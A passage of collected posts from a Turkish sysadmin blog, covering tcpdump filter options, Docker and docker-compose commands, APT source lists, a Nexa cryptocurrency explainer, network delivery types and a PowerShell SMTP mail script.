-r captures.pcap Kaydedilmiş yakalama dosyasını okur ve analiz eder tcp tcpdump -i eth0 tcp Sadece TCP paketlerini gösterir udp tcpdump -i eth0 udp Sadece UDP paketlerini gösterir icmp tcpdump -i eth0 icmp Sadece ICMP paketlerini gösterir ip tcpdump -i eth0 ip Sadece IPv4 paketlerini gösterir ip6 tcpdump -i eth0 ip6 Sadece IPv6 paketlerini gösterir arp tcpdump -i eth0 arp Sadece ARP paketlerini gösterir rarp tcpdump -i eth0 rarp Sadece RARP paketlerini gösterir slip tcpdump -i eth0 slip Sadece SLIP paketlerini gösterir -I tcpdump -i eth0 -I Arabirimi monitör modunda kullanır -K tcpdump -i eth0 -K İletinin doğrulama toplamını kontrol etmez -p tcpdump -i eth0 -p İzinsiz modda yakalama yapmaz Filtreleme Komutları: FİLTRE İFADESİ AÇIKLAMA src host 127.0.0.1 Kaynak IP/hostname 127.0.0.1 olan paketleri filtreler dst host 127.0.0.1 Hedef IP/hostname 127.0.0.1 olan paketleri filtreler host 127.0.0.1 Kaynak veya hedef IP/hostname 127.0.0.1 olan paketleri filtreler ether src 01:23:45:AB:CD:EF Kaynak MAC 01:23:45:AB:CD:EF olan paketleri filtreler ether dst 01:23:45:AB:CD:EF Hedef MAC 01:23:45:AB:CD:EF olan paketleri filtreler ether host 01:23:45:AB:CD:EF Kaynak veya hedef MAC 01:23:45:AB:CD:EF olan paketleri filtreler src net 127.0.0.1 Kaynak ağ konumu 127.0.0.1 olan paketleri filtreler dst net 127.0.0.1 Hedef ağ konumu 127.0.0.1 olan paketleri filtreler net 127.0.0.1 Kaynak veya hedef ağ konumu 127.0.0.1 olan paketleri filtreler net 127.0.0.1/24 Kaynak veya hedef ağ konumu 127.0.0.1 ve 24 bitlik alt ağ maskesi olan paketleri filtreler src port 80 Kaynak portu 80 olan paketleri filtreler dst port 80 Hedef portu 80 olan paketleri filtreler port 80 Kaynak veya hedef portu 80 olan paketleri filtreler src portrange 80-400 Kaynak port aralığı 80-400 olan paketleri filtreler dst portrange 80-400 Hedef port aralığı 80-400 olan paketleri filtreler portrange 80-400 Kaynak veya hedef port aralığı 80-400 olan paketleri filtreler Görüntüleme Komutları: KOMUT ÖRNEK KULLANIM AÇIKLAMA -A tcpdump -i eth0 -A Her paketi (bağlantı düzeyi başlığı hariç) ASCII olarak görüntüler -D tcpdump -D Sistemde mevcut olan ağ arabirimlerinin listesini görüntüler -e tcpdump -i eth0 -e Her çıktı satırında bağlantı düzeyi başlığını (Ethernet, IEEE 802.11 gibi) görüntüler -F tcpdump -i eth0 -F params.conf Filtre ifadesi için params.conf dosyasını kullanır -n tcpdump -i eth0 -n Adresleri isimlere çevirmez -S tcpdump -i eth0 -S TCP dizin numaralarını mutlak olarak (göreli değil) görüntüler Çıktı Komutları: KOMUT ÖRNEK KULLANIM AÇIKLAMA -w captures.pcap tcpdump -i eth0 -w captures.pcap Yakalanan paketleri captures.pcap dosyasına kaydeder -d tcpdump -i eth0 -d İnsan tarafından okunabilir formu standart çıktıda görüntüler -L tcpdump -i eth0 -L Arabirim için veri bağlantı türlerini görüntüler -q tcpdump -i eth0 -q Hızlı/ sessiz çıktı. Daha az protokol bilgisi görüntüler -U tcpdump -i eth0 -U -w out.pcap Paketleri out.pcap dosyasına gerçek zamanlı olarak yazar Ek Komutlar: OPERATÖR SÖZ DİZİMİ ÖRNEK AÇIKLAMA AND and, && tcpdump -n src 127.0.0.1 and dst port 21 "Ve" mantıksal operatörü ile birleştirilen filtre seçeneklerini uygular OR or, || tcpdump dst 127.0.0.1 or src port 22 "Veya" mantıksal operatörü ile birleştirilen herhangi bir koşulu eşleştirir EXCEPT not, ! tcpdump dst 127.0.0.1 and not icmp "Değil" mantıksal operatörü ile başlayan bir koşulu ters çevirir LESS less, <, (<=) tcpdump dst host 127.0.0.1 and less 128 Belirtilen uzunluktan (128) daha kısa paketleri eşleştirir GREATER greater, >, (>=) tcpdump dst host 127.0.0.1 and greater 64 Belirtilen uzunluktan (64) daha uzun paketleri eşleştirir EQUAL =, == tcpdump host 127.0.0.1 = 0 Uzunluğu sıfır olan paketleri eşleştirir Ek Komutlar 2: KOMUT ÖRNEK KULLANIM AÇIKLAMA -K tcpdump -i eth0 -K İletinin doğrulama toplamını kontrol etmeyi devre dışı bırakır -p tcpdump -i eth0 -p İzinsiz modda yakalamayı devre dışı bırakır -t tcpdump -i eth0 -t Her çıktı satırında zaman damgasını görüntülemeyi devre dışı bırakır -n tcpdump -i eth0 -n Adresleri isimlere çevirmeyi devre dışı bırakır -S tcpdump -i eth0 -S TCP dizin numaralarını mutlak değil, göreli olarak görüntüler -tt tcpdump -i eth0 -tt Her satırda, saniye cinsinden tarih ve saat bilgisini ve o zamandan beri geçen süreyi görüntüler -XX tcpdump -i eth0 -XX Paketlerin başlıklarını ve verilerini onaltılık ve ASCII formatında görüntüler Örnek Kullanım: ÖRNEK AÇIKLAMA tcpdump -r outfile.pcap outfile.pcap dosyasındaki tüm paketleri görüntüler tcpdump -i any ip and not tcp port 80 Tüm ağ arabirimlerindeki TCP portu 80 olmayan paketleri dinler tcpdump -i eth0 -n >32 -w pv01.pcap eth0 ağ arabiriminde DNS çözümlemesi olmadan 32 bayttan uzun paketleri yakalar ve pv01.pcap dosyasına kaydeder tcpdump -AtuvX icmp ICMP trafiğini yakalar ve ICMP paketlerini onaltılık ve ASCII formatında görüntüler tcpdump 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' IPv4 HTTP paketlerini, yani sadece veri içeren paketleri (örneğin SYN ve FIN paketlerini ve yalnızca ACK paketlerini değil) filtreleyerek görüntüler Umarım faydalı olmuştur. – Saygılarımla. --- ## Windows Yönetim Araçları (WMI) Sorgular (user,caption,Manufacturer, etc.) Link: https://farukguler.com/posts/windows-yonetim-araclari-wmi-sorgular/ $computer=read-host "Computer Name/IP:" gwmi win32_computersystem -comp $computer | select USername,Caption,Manufacturer --- ## What is a Source List (sources.list) Configuring APT Link: https://farukguler.com/posts/what-is-a-source-list-sources-list-configuring-apt/ What is Debian Source List? The Debian source list is a central component of the Debian package management system. This list is used by the Debian package manager (apt) to determine which repositories to retrieve packages from. Every Debian distribution includes some repositories by default, but users can edit this list to add or remove their own repositories. The source list contains the repositories' URLs, distribution information, and security keys; It is usually located in the [/etc/apt/sources.list] file. Additional and 3rd party repository definitions can be found in the [/etc/apt/sources.list.d] directory. For example: sudo nano /etc/apt/sources.listsudo nano /etc/apt/sources.list.dsudo apt update For instance: #deb cdrom:[Debian GNU/Linux 12.2.0 _Bookworm_ - Official amd64 DVD Binary-1 with firmware 20231007-10:29]/ bookworm main non-free-firmwaredeb http://debian.gnu.gen.tr/debian/ bookworm main contrib non-free non-free-firmwaredeb-src http://debian.gnu.gen.tr/debian/ bookworm main contrib non-free non-free-firmwaredeb http://security.debian.org/debian-security bookworm-security main contrib non-free non-free-firmwaredeb-src http://security.debian.org/debian-security bookworm-security main contrib non-free non-free-firmware# bookworm-updates, to get updates before a point release is made;# see https://www.debian.org/doc/manuals/debian-reference/ch02.en.html#_updates_and_backportsdeb http://debian.gnu.gen.tr/debian/ bookworm-updates main contrib non-free non-free-firmwaredeb-src http://debian.gnu.gen.tr/debian/ bookworm-updates main contrib non-free non-free-firmware For instance: sources.list.d cd /etc/apt/sources.list.d/touch google-chrome.listnano /etc/apt/sources.list.d/google-chrome.list#Add File: deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main --- ## Docker Install on Linux - Linux'ta Docker Kurulumu Link: https://farukguler.com/posts/docker-install-on-linux/ Docker (CE) ve (EE) Hakkında. Docker Community Edition (CE): Dockerin ücretsiz ve açık kaynaklı topluluk sürümüdür. Bu sürüm, Docker'ın temel özelliklerini sunar ve birçok kullanıcının ihtiyaçlarını karşılar. Docker Community Edition, Docker'ın çeşitli platformlarda kullanılabilmesine olanak tanır ve Linux, macOS ve Windows işletim sistemleri dahil olmak üzere birçok platformda çalışabilir. Ayrıca, Docker Compose, Docker Swarm ve Docker CLI gibi araçları da içerir. Docker Enterprise Edition (EE): Docker'ın ücretli sürümüdür, işletme düzeyinde daha fazla özellik sunar ve özellikle büyük ölçekli ve karmaşık uygulamaları yönetmek için tasarlanmıştır. Ancak, Docker Community Edition'ın sunduğu özellikler, birçok kullanıcının ihtiyaçlarını karşılayabilir ve ücretsiz olarak kullanılabilir. Aşağıdaki adımlarla Linux üzerinde Docker Engine Community(CE) 'ı kurabilir ve yönetebilirsiniz: #Docker'i yükleyin:https://docs.docker.com/engine/https://docs.docker.com/engine/install/#Docker'ı başlatın:systemctl start docker#Docker'ı yeniden başlatmak için:systemctl restart docker#Docker'ın otomatik olarak başlamasını sağlayın:systemctl enable docker#Docker'ın doğru şekilde yüklendiğinden emin olmak için:docker versiondocker --versiondocker -vdocker infosystemctl status docker#Docker temel Hello Word Uygulması:docker run hello-world#Docker'ı güncellemek için:apt update#apt upgrade### Docker Komutları ####Docker'i sistem her yeniden başlatıldığında otomatik başlatmak için:systemctl enable --now docker#bu özelliği devre dışı bırakmak istersek:systemctl disable --now docker#Root haricinde Docker Engine'i çalıştırmak için kullanıcımızı Docker yetkili grubuna ekleyelim:sudo usermod -aG docker faruk#Yeni grup üyeliğini kullanıcımızda ve gruplarda görmek için(tek tek):su farukgroupsid farukgetent group docker#Mevcut Docker tüm komutları görüntülemek için:docker#Resmi Docker hesabınıza bağlanmak & çıkış yapmak için:docker logindocker logout#Docker Hub'da bulunan görüntüleri aramak:docker search alpinedocker search httpd-------------->>>#Resmi docker imajlarını "hub.docker.com" üzerinden çekmek için:docker pull ubuntudocker pull httpd docker pull nginx--------------->>#Belirtilen Imajı Docker Huba yüklemek için:docker push geekflare/httpd_image#İndirilen docker imajlarını görmek için:docker images#İmaj geçmişi ve bilgisi için(history):docker history hello-world#İmaj silmek için (rmi):docker rmi hello-world***(Bu Komut Docker'da bir imajın artık kullanılmamasını ve disk alanından kaldırılmasını sağlar. Ayrıca, bu imajı kullanan containerlar varsa, imaj silinemez. Öncelikle bu containerları durdurmanız ve silmeniz gerekir.)#Containeri başlatmak için:docker start "container-id"#Containeri restart etmek için:docker restart "container-id"#Çalışan containeri durdurmak için:docker stop "konteyner-id"#Çalışan tüm Docker konteynerlerini durdurmak için:docker stop $(sudo docker ps -aq)#Containeri duraklatmak için:docker pause "container-id#Duraklamış Containeri devam ettirmek için:docker unpause "container-id#Çalışan containeri zorla durdurmak için (kill):docker kill "container-id"Tüm indirilen Docker imajlarını silmek için:docker image prune#docker image prune -a (varolan-kullanılan tüm imajları siler)#### Imajdan Container oluşturma ve Çalıştırma***İmaj indirildikten sonra Containeri Yarat & Calistir1: docker run -p 8080:80 -d httpd2: docker run --name webserver -p 80:80 httpd3: docker run --name webserver -p 8091:80 -d httpd4: docker run -it --name debshell debian:bookworm-slim bash5: docker run -ti --name atom busybox sh6:7:1: (Bu komut, httpd görüntüsünü kullanarak bir Docker "Containeri" oluşturur ve konteyneri arka planda (-d seçeneği) çalıştırır. Konteyner, ana bilgisayarınızdaki 8080 portuna (-p seçeneği) yönlendirilir ve Apache HTTP Serveri, Docker konteyneri içindeki 8080 portunda çalıştırılır) (http://localhost:8080)#Docker imajınızı Editleyin ("Her container izole olduğu için" shell ile gerekli configleri yapmanız gerekmektedir.)docker psdocker exec -it 7d479d362e07 bashdocker exec -it admiring_keller bashcd htdocsnano index.html##### Docker Container ######Sadece Çalışan containerleri listelemek için (ps):docker psdocker ps -q --format ' '#Tüm Container durumlarını listelemek içindocker ps -a****Belirli bir Containerin portunu değiştirmek için:"HostPort"docker stop <container_name>cd /var/lib/docker/containers/sudo nano hostconfig.json (EDIT: "HostPort":"xxxx")systemctl restart dockerdocker start "container_name"#İçeriklerin Kapsayıcılar ve Dosya Sistemi Arasında Kopyalanmasıdocker cp "container-id":/test_file test_file#Bir Docker container'ının adını değiştirmek için:docker stop "container_name"docker rename "old_name" "new_name"#Container silmek için: ***Çalışan containeri silmek için öncelikle durdurulmalısınız.docker rm "container-id"***Tüm containerleri ve kalıntılarını silmek için:#docker rm $(docker ps -aq)#docker system prune#Containerleri ile ilişkili birimleri kaldırmak için:docker rm -v "container-id"###Docker Machine####Yeni bir Docker host'u oluşturdocker-machine create --driver virtualbox my-docker-host#Mevcut Docker host'larını listeledocker-machine ls#Belirli bir Docker hostu yönetdocker-machine start my-docker-hostdocker-machine stop my-docker-hostdocker-machine rm my-docker-hostdocker-machine ip my-docker-hostdocker-machine ssh my-docker-hostdocker-machine status my-docker-host.etc##### Docker Networks #####https://docs.docker.com/network/https://docs.docker.com/network/drivers/#Docker Ağları Listeleyindocker network lsNETWORK ID NAME DRIVER SCOPE1d075808d17d bridge bridge local8ca7e7ba3955 docker_gwbridge bridge localdf16d664448e host host localkw2zazyf52tp ingress overlay swarmfd0cb697dddb none null local5d45dc9fafc0 domain_srv_NET macvlan local#Networkü varolan bir containere bağla:docker network connect GULER_NET container33#Networkün containerle bağlantısını kes:docker network disconnect GULER_NET container33Default(Bridge) Ağ Oluşturun:##Default oluşturulan her Container "Bridge" Networke dahil edilir.docker network create GULER_NETSpesifik Ağ oluşturun (Driver):docker network create -d overlay ethernet_24Sdocker network create -d bridge ethernet_svdocker network create -d macvlan ens33"domain_srv_NET" adında bir Macvlan ağı oluşturun:docker network create -d macvlan --subnet 10.5.10.0/24 --gateway 10.5.10.1 -o parent=ens33 domain_srv_NET"ip_NET" adında bir IPvlan ağı oluşturun:docker network create -d ipvlan --subnet=192.168.1.0/24 --gateway=192.168.1.1 -o ipvlan_mode=l3 -o parent=ens44 ip_NET#Ağlarla İlgili Ayrıntılı Bilgiyi Görüntüleyin:docker network inspect GULER-NET#Ağları Silme:docker network rm GULER-NET#Kullanılmayan Tüm Ağları Silme:docker network prune#### Volume ######Default Directory: /var/lib/docker/volumes/#Volume Oluştur:docker volume create Hold#Volumleri istele:docker volume ls#Docker biriminin (Volume) ayrıntılarını görüntüle:docker volume inspect Hold#Docker Alpine Linux konteyneri oluştur ve Hold volume bağla:docker run -it -v hold:/alanim -d --name alpine_lnx -d alpine#Oluşturulan alpine linuxa bağlan:docker exec -it alpine_lnx sh#Docker File'den yeni bir imaj oluşturmak için:docker image build -t neonlamba -f Dockerfile .#Mevcut Containerden(web-server) "Web" adında yeni bir imaj oluşturmak için:docker commit web-server vulnscanner#Varolan bir imajı local kaydetmek içindocker save -o sony.tar#Varolan bir imajı olarak localden yüklemek içindocker load -i sony.tar#Durdurulan containeri etkileşimli olarak çalıştırmak için (ai):docker start -ai "container-id"#Container hakkında bilgi almak için (inspect):docker inspect "container-id"#Konteynerdeki değişimlerin takibi:docker diff "container-id"#Çalışan containera ait kaynak kullanımı bilgisi için (stats):docker stats "container"-id"#Log-durum bilgisi için:docker stats "container-id"docker top "container-id"docker logs "container-id"docker logs "container-id" --followdocker service logs "container-id"#Docker Ağ Günlüklerini Alın:journalctl -u docker.service#### Docker Secret ####Docker secret oluştur:echo "admin44" | docker secret create username -echo "12pass!" | docker secret create dbparola -docker secret ls### Docker Stacks ### (on Swarm)#Stack'i Compose dosyalarından dağıtmak için:docker stack deploy -c stxconf.yml wp_stack#Belirli bir stack'i kaldırmak için:docker stack rm "stack-name"#Stack'lerin listesini görmek için:docker stack ls Faydalı olması dileğiyle - Hope it's useful https://dockerlabs.collabnix.com/docker/cheatsheet/ --- ## What is docker-compose.yml File? Link: https://farukguler.com/posts/what-is-docker-compose-yml-file/ Docker Compose, birden çok Docker konteynerini tek bir konfigürasyon dosyasında tanımlamak ve yönetmek için kullanılan bir araçtır. "docker-compose.yml" dosyası ise Docker Compose tarafından kullanılan yapılandırma dosyasıdır. "docker-compose.yml" dosyası, YAML (YAML Ain't Markup Language) formatında yazılır ve Docker Compose ile çalışacak konteynerlerin yapılandırmalarını içerir. Bu dosya, bir proje veya uygulama için gerekli olan tüm konteynerleri, bağlantıları, ağları, ortam değişkenlerini ve diğer parametreleri tanımlar. Docker Compose, varsayılanda proje tanım dosyasını docker-compose.yml adıyla arar. Ancak, farklı bir dosya adı kullanmak istiyorsanız, -f veya --file bayrağını kullanarak belirtmeniz gerekir. docker compose -f son-compose.yml up -ddocker compose -f son-compose.yml down Docker-Compose.yml örnekleri: #Wordpress + Mysqlversion: "3.9"services: wordpress: image: wordpress:latest restart: always ports: - "4040:80" environment: WORDPRESS_DB_HOST: mysql WORDPRESS_DB_USER: root WORDPRESS_DB_PASSWORD: example WORDPRESS_DB_NAME: wordpress volumes: - wordpress:/var/www/html mysql: image: mysql:5.7 restart: always environment: MYSQL_ROOT_PASSWORD: example MYSQL_DATABASE: wordpressvolumes: wordpress: #Basit bir NGINX Web Sayfasiversion: '3.8'services: web: image: nginx:latest ports: - "8080:80" volumes: - ./html:/usr/share/nginx/html #Portainerversion: '3.8'services: portainer: image: portainer/portainer-ce restart: always container_name: portainer ports: - "8000:8000" - "9000:9000" volumes: - /var/run/docker.sock:/var/run/docker.sock - portainer_data:/datavolumes: portainer_data: Best Regards. – Saygılarımla. --- ## Nexa Money (NEXA) Nedir? Link: https://farukguler.com/posts/nexa-money-nexa-nedir/ Nexa (NEXA), küresel finans sisteminin tamamını destekleyebilecek düzeyde Layer 1 (Katman 1) ölçeklenebilirliği sunma iddiasıyla yola çıkan, Proof-of-Work (PoW) tabanlı bir blockchain projesidir. Proje, günde 10 milyardan fazla işlemi (saniyede yaklaşık 100.000 işlem - TPS) doğrudan ana zincir üzerinde işlemeyi hedeflemektedir. Bu, Visa gibi geleneksel ödeme ağlarının kapasitesine eşdeğer bir hedeftir. Nexa’nın geliştirilmesinin arkasındaki itici güç, Bitcoin’in ölçeklenmesi ve protokol geliştirilmesi konusunda uzun yıllara dayanan deneyime sahip olan Bitcoin Unlimited ekibidir. Bu nedenle Nexa, Bitcoin’in orijinal “Eşten Eşe Elektronik Nakit Sistemi” vizyonunu korurken, modern donanım ve ağ teknolojilerinden yararlanarak ölçeklenebilirlik sorununu temelden çözmeyi amaçlar. Nexa’nın felsefesi, Ethereum ekosisteminin benimsediği “Layer 2 Rollup’lar ile ölçeklenme” modelinden farklıdır. Nexa, ana katmanın (Layer 1) kendisinin, donanım ve bant genişliğindeki gelişmelerle (Moore Yasası benzeri bir ilerlemeyle) küresel talebi karşılayacak şekilde doğrudan ölçeklenebileceğini savunur. Nexa’nın Ölçeklenebilirlik İçin Geliştirdiği Çözümler Nexa’nın iddialı TPS hedeflerine ulaşmasını sağlayan temel teknolojiler şunlardır: 1. Donanım Odaklı Ölçeklenme Nexa’nın temel tezi, blockchain darboğazlarının yazılımsal sınırlamalardan çok, donanım (işlemci hızı, bellek, depolama ve bant genişliği) ile aşılabileceğidir. Bu nedenle Nexa protokolü, modern donanımların tüm potansiyelinden yararlanacak şekilde tasarlanmıştır: İşlemci (CPU) Optimizasyonu: İşlemlerin doğrulanması ve yürütülmesi, çok çekirdekli modern işlemcilerde paralel olarak çalışacak şekilde optimize edilmiştir. Bant Genişliği (Bandwidth) Kullanımı: Graphene ve Xthinner gibi teknolojilerle blok yayılımı optimize edilerek, büyük blokların bile ağ üzerinde hızla iletilmesi sağlanır. Depolama (Storage): Gelecekteki zincir boyutunu yönetmek için UTXO taahhütleri ve potansiyel budama (pruning) mekanizmaları üzerine kuruludur. 2. Graphene ve Xthinner: Ultra Verimli Blok Yayılımı Bir blockchain’in hızını sınırlayan en önemli faktörlerden biri, yeni bulunan blokların ağdaki tüm düğümlere ne kadar hızlı yayılabildiğidir. Bloklar büyüdükçe (daha fazla işlem içerdikçe), bu yayılma süresi artar. Nexa, bu sorunu Bitcoin Unlimited tarafından geliştirilen Graphene ve Xthinner teknolojileriyle çözer: Nasıl Çalışır: Bir madenci yeni bir blok bulduğunda, bloğun tamamını göndermek yerine, bloğun içindeki işlemlerin kompakt bir temsilini (genellikle bir Bloom filtresi ve işlem karmaları) gönderir. Diğer düğümler, zaten kendi mempool’larında (bekleyen işlem havuzu) bulunan bu işlem bilgilerini kullanarak bloğu yerel olarak yeniden inşa ederler. Faydası: Bu teknik, 1 GB gibi devasa bir bloğun bile ağda sadece birkaç on kilobaytlık bir veri gibi yayılmasını sağlar. Bu, Nexa’nın işlem hacmini artırmasının ve blok boyutunu büyütmesinin önündeki en büyük engellerden birini kaldırır. 3. NexaPow: Madencilik ve Ağ Performansı İlişkisi Nexa, Bitcoin gibi Proof-of-Work (PoW) konsensüs mekanizmasını kullanır, ancak NexaPow adı verilen özel bir madencilik algoritmasıyla çalışır. ASIC/FPGA Dostu: NexaPow, madenciliğin zamanla daha verimli hale gelmesi için özel donanımlara (ASIC, FPGA) doğru ilerlemesini teşvik eder. Bu, ağın güvenliğini artırır ve donanım ölçeklenmesine paralel olarak ağ kapasitesinin de artmasını sağlar. İşlem Doğrulama Teşviki: Algoritma, madencilerin sadece hash bulmakla kalmayıp, aynı zamanda işlemleri verimli bir şekilde doğrulamalarını da teşvik edecek şekilde tasarlanmıştır. 4. UTXO Modeli Üzerinde Tokenlar ve Akıllı Sözleşmeler Nexa, Ethereum’un Hesap Modeli yerine Bitcoin’in UTXO (Harcanmamış İşlem Çıktısı) modelini kullanır. Bu model, doğal olarak daha iyi ölçeklenebilirlik ve paralelleştirme yetenekleri sunar. Nexa, bu temeli modern özelliklerle genişletmiştir: Token Groups (Token Grupları): Bu, Nexa’nın en yenilikçi özelliklerinden biridir. Ethereum’daki ERC-20 (fungible token) veya ERC-721 (NFT) gibi token standartlarını, karmaşık Layer 2 akıllı sözleşmelerine ihtiyaç duymadan, doğrudan Layer 1 protokol seviyesinde oluşturmanıza olanak tanır. Avantajı: Bu “yerel” token’lar, ana NEXA coini ile aynı hız, güvenlik ve ölçeklenebilirlik özelliklerine sahip olur. Token transferleri, NEXA transferleri kadar hızlı ve ucuzdur. Akıllı Sözleşmeler: Nexa, UTXO modeli üzerinde çalışabilen, ancak Ethereum’daki kadar karmaşık olmayan (Turing complete olmayan) daha basit ve güvenli akıllı sözleşme yetenekleri sunar. Bu sözleşmeler, token yönetimi, basit finansal anlaşmalar ve otomatize edilmiş kurallar gibi birçok kullanım durumu için yeterlidir. NEXA Coin: Ekosistemin Yakıtı NEXA, Nexa ağının yerel kripto para birimidir ve ağın işleyişi için hayati öneme sahiptir. İşlem Ücretleri (Gas): Ağdaki tüm işlemlerin maliyetini karşılamak için kullanılır. Bu, NEXA transferleri, yeni token grupları oluşturma, akıllı sözleşme çalıştırma gibi işlemleri içerir. Ölçeklenebilirlik hedefi nedeniyle bu ücretlerin çok düşük kalması hedeflenir. Madencilik Ödülleri: PoW madencileri, ağı güvence altına aldıkları ve yeni bloklar ürettikleri için NEXA ile ödüllendirilirler. Token Oluşturma Maliyeti: Yeni bir “Token Group” oluşturmak isteyen kullanıcılar, bu işlem için belirli bir miktar NEXA ödemek zorundadır. Bu, ağda gereksiz token oluşturulmasını engeller. Ekonomik Bant Genişliği: Gelecekte, ağ kaynaklarını (örn. depolama, bant genişliği) kullanmanın maliyetini NEXA cinsinden ödeme gibi mekanizmalar geliştirilebilir. Tokenomi: 21 Trilyon Arz ve Bitcoin Benzeri Halving Nexa’nın tokenomiği, Bitcoin’den esinlenmiş ancak farklı bir ölçekte tasarlanmıştır: Maksimum Arz: 21 Trilyon (21,000,000,000,000) NEXA. Bu yüksek rakam, enflasyonist bir amaç taşımaz. Aksine, günlük işlemlerde kullanıcıların küçük ondalıklarla uğraşmak yerine tam sayılarla (örn. 1000 NEXA) daha kolay işlem yapabilmesini sağlamak içindir. Bitcoin’in Satoshilere bölünmesi gibi düşünülebilir. Halving (Yarılanma): Tıpkı Bitcoin gibi, Nexa’da da madencilere verilen blok ödülü yaklaşık her 4 yılda bir yarıya iner. Bu, zamanla yeni NEXA arzının azalmasını ve varlığın kıtlığının artmasını sağlar, potansiyel olarak deflasyonist bir etki yaratır. NEXA ve Bitcoin Unlimited Ekibi Nexa’nın arkasındaki teknik gücün Bitcoin Unlimited ekibi olması, projeye önemli bir kredibilite katmaktadır. Bu ekip, Bitcoin protokolünün geliştirilmesi ve ölçeklenmesi konusunda yıllardır aktif olarak çalışmaktadır. Sonuç: Layer 1 Ölçeklenmesinin Sınırlarını Zorlamak Nexa, blockchain dünyasındaki ölçeklenme sorununa cesur ve farklı bir çözüm öneren, teknik olarak iddialı bir projedir. Ethereum’un Layer 2 merkezli yaklaşımına karşı, donanım ve ağ optimizasyonlarıyla doğrudan Layer 1’i küresel ölçeğe taşımayı hedefler. Graphene gibi yenilikçi teknolojileri, UTXO tabanlı yerel token sistemi ve deneyimli bir geliştirici ekibiyle Nexa, Bitcoin’in orijinal “dijital nakit” vizyonunu modern teknolojiyle yeniden canlandırma potansiyeline sahiptir. Başarısı, iddia ettiği performansı gerçek dünya koşullarında sürdürülebilir bir şekilde sunup sunamayacağına ve etrafında canlı bir ekosistem oluşturup oluşturamayacağına bağlı olacaktır. Nexa projesi hakkında daha fazla detaylı bilgiye ulaşmak veya son gelişmeleri öğrenmek isterseniz, resmi web sitesini https://nexa.org ve projenin teknik kaynaklarını https://gitlab.com/nexa inceleyebilirsiniz. Ancak, lütfen unutmayın ki her kripto proje gibi, Nexa da riskler içerebilir, bu nedenle yatırım yapmadan önce dikkatli bir araştırma yapmanız (DYOR - Do Your Own Research) önemlidir. --- ## Unicast, Multicast Broadcast Link: https://farukguler.com/posts/unicast-multicast-broadcast-nedir/ Unicast: Unicast, veri iletiminin noktadan noktaya yapıldığı bir iletişim protokolüdür. Bu protokolde, veri gönderen bir kaynak noktasından alıcıya doğrudan iletişim kurulur. Yani, veri paketleri bir kaynaktan belirli bir hedefe doğru gönderilir. Örneğin, bir web tarayıcısının sunucudan bir web sayfası istemesi, e-posta gönderme veya iki bilgisayarın LAN (Yerel Alan Ağı) üzerinde doğrudan haberleşmesi gibi durumlar unicast iletişim örnekleridir. Multicast: Multicast, bir kaynaktan belli bir cihaz grubuna veri iletimini sağlayan bir iletişim protokolüdür. Bu protokolde, veri paketleri bir kaynaktan birden fazla hedef cihaza gönderilir. Ancak, multicast protokolü, gönderici ve alıcılar arasında bir grup adresi kullanır. Bu grup adresi, yalnızca ilgili alıcıların üye olduğu cihazları hedefler. Multicast, birçok cihazın aynı veriyi eş zamanlı olarak almasını sağlar. Örnek olarak, canlı TV yayını, radyo yayını, uzaktan öğrenim veya video konferans gibi durumlar multicast iletişim örnekleridir. Broadcast: Broadcast, bir veri paketinin bir ağdaki tüm cihazlara eş zamanlı olarak gönderildiği bir iletişim protokolüdür. Bu protokolde, gönderilen veri paketi herhangi bir hedef adresi olmadan ağdaki tüm cihazlara iletir. Yani, bir cihaz bir broadcast paketi gönderdiğinde, tüm ağdaki cihazlar bu paketi alır. Örneğin, bir cihazın DHCP (Dinamik Ana Bilgisayar Yapılandırması Protokolü) sunucusundan IP adresi talep etmesi veya ağdaki tüm cihazlara bir duyuru yapılması gibi durumlar broadcast iletişim örnekleridir. Bu şekilde, unicast, broadcast ve multicast protokollerinin farklı iletişim ihtiyaçlarına yönelik kullanıldığını görebilirsiniz --- ## SMTP Server kullanımı "Powershell" - Using SMTP Server "Powershell" Link: https://farukguler.com/posts/powershell-smtp-server-mailer/ ***Varsayılanda SMTP sunucusu portu, SSL kullanmadan port 25 numaralı portla, (alternatif olarakta SMTP port 26) çalışır. PS ISE Script: #Outlook mail sender script #From > To $EmailFrom = “sendermail@outlook.com” $EmailTo = “faxoce7574@anomgo.com” $Subject = “Windows spooler servisi kapandi!" $Body = “Servis maili Test v1” $SMTPServer = “smtp.outlook.com” #SMTP $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587) $SMTPClient.EnableSsl = $true #mail and password #password cleartext olduğu icin güvenlik riski taşır!! $SMTPClient.Credentials = New-Object System.Net.NetworkCredential(“sendermail@outlook.com”, “passwd!!65++”); $SMTPClient.Send($EmailFrom, $EmailTo, $Subject, $Body) Ücretsiz olarak kullanılabilecek SMTP server listesi: #Gmail smtp.gmail.com SSL 465 smtp.gmail.com StartTLS 587 pop.gmail.com SSL 995 Not: POP3’ü Gmail hesap ayarlarınızdan etkinleştirmeniz gerekir. Hesabınıza giriş yapın ve POP3’ü etkinleştirin. Ayrıca Gmail ayarlarında “daha az güvenli uygulamaları” (üçüncü taraf uygulamaları) etkinleştirmeniz gerekir: #Outlook.com smtp.live.com StartTLS 587 pop3.live.com SSL 995 #Office365.com smtp.office365.com StartTLS 587 outlook.office365.com SSL 995 #Yahoo Mail smtp.mail.yahoo.com StartTLS 587 pop.mail.yahoo.com SSL 995 #AOL.com smtp.aol.com pop.aol.com #Hotmail smtp.live.com SSL 465 pop3.live.com SSL 995 #Zoho Mail smtp.zoho.com SSL 465 pop.zoho.com SSL 995 #Mail.com smtp.mail.com StartTLS 587 pop.mail.com SSL 995 #GMX.com smtp.gmx.com StartTLS 587 pop.gmx.com SSL 995 Varsayılan Sunucu Bağlantı Noktaları: SMTP Sunucusu (Giden Sunucu) Sunucu tipi (Şifrelenmemiş) Kimlik doğrulama tipi (Yok) Bağlantı Noktası No 25 ve 26 Sunucu tipi (Güvenli TLS) Kimlik doğrulama tipi (StartTLS) Port No 587 Sunucu tipi (Güvenli SSL) Kimlik doğrulama tipi (SSL) Port No 465 POP3 Sunucusu (Gelen Sunucu) Sunucu tipi (Şifrelenmemiş) Kimlik doğrulama tipi (Yok) Port No 110 Sunucu tipi (Güvenli SSL) Kimlik doğrulama tipi (SSL) Port No 995 IMAP Sunucusu (Gelen Sunucu) Sunucu tipi (Şifrelenmemiş) Kimlik doğrulama tipi (Yok) Port No 143 Sunucu tipi (Güvenli SSL) Kimlik doğrulama tipi (SSL) Port No 993 ***Genel SMTP sunucularının tümü sunucularında SSL sertifikaları kullanır. Saygılarımla. --- ## 